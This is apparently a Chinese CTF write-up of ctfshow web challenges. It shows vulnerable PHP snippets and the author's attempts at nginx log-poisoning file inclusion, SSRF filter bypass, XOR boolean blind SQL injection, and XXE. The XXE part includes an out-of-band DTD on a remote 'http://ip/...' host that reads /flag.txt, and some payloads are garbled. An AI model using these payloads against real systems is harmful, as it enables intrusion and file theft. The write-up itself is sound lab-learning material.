吐槽一句,ctfshow 的题就是 考知识点!! ,一点拖泥带水的。赞一个!!!
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);
}
}else{
highlight_file(__FILE__);
}
?>
不能用php的一些伪协议了。
没有什么奇奇怪怪的设置。
然后想到了../../../proc/self/cmdline
这些。但是也没有什么可以利用的。
然后就想到了包含日志啥的。
nignx的在/var/log/nginx/access.log
。这个刚才才做过。一道题,这个包含的化,不用在url中书写。会有编码问题,直接在User-Agent
里面写就行。
然后连蚁剑。就有了
ctfshow{594dacd8-21a1-412c-92cd-5e25b66d480e}
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('仅限http协议访问');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('仅限域名地址访问');
}
system('curl '.$url);
}
第一时间想到的是http://xip.io/这个,但是有.
。不行,
.
可以用。
来代替,,,,WP说可以将 IP 地址 转进制,转成16进制或10进制什么 的,
curl 0x ip的16进制
。 和curl ip
的效果是一样的。但是 这个转为10进制之后有0
存在,而且转为16进制的化,也需要0x *****
这些,所以这个不行
然后就用。
来代替了。
异或的bool注入是 可以的。,能够有区别。
fuzz了一下啊,过滤了| = ' " ascii union and order length
select 没过滤,考虑一下bool盲注
我的sql注入是真的菜!!!。
?id=1^(substr((database())from(1)for(1))<0)
抓包后有两个请求,一个是正常的网页请求,另一个是哪个img图片的请求。
然后我这里发现能够弹xss的窗
这里看看那个用xss脱裤 的那个知识点
https://www.cnblogs.com/afanti/p/8277344.html
看了一眼WP,不是这个点,是看到base64,然后想到是文件读取漏洞,输入文件的base64 的值,试试看:
结果不是base64的问题。直接访问这个文件就好了。
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
密码。不看了。
提示 flag在flag.txt中。
然后burp抓包,一个是页面刷新的包,一个是 占卜
出来的json格式的一个请求,然后是一个api.php的包。
看 api这个包:api的urldecode之后是这个:http://flash.weather.com.cn/wmaps/xml/city.xml
那么思路就来了,这个不就是调用远程的xml文档,然后实现RCE么。
evil.php
xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY name SYSTEM "file:///flag.txt">
]>
<a>&name;</a>
然后直接。
没有反应,盲注难道是?。那我们就将这个外带到我们的vps中去。加粗样式
然后调用这个xml文件也不对,,,也报错,报错如下:
evil.xml:
xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/reource=flag.txt">
<!ENTITY % start "">
% start;
% send;
]>
报错:DOMDocument::loadXML(): PEReferences forbidden in internal subset in Entity,
然后又换:
evil.xml
xml version="1.0"?>
<!DOCTYPE remote SYSTEM "http://ip/test/evil.dtd">
evil.dtd
<!ENTITY % flag SYSTEM "php:///filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % wrapper "">
% wrapper;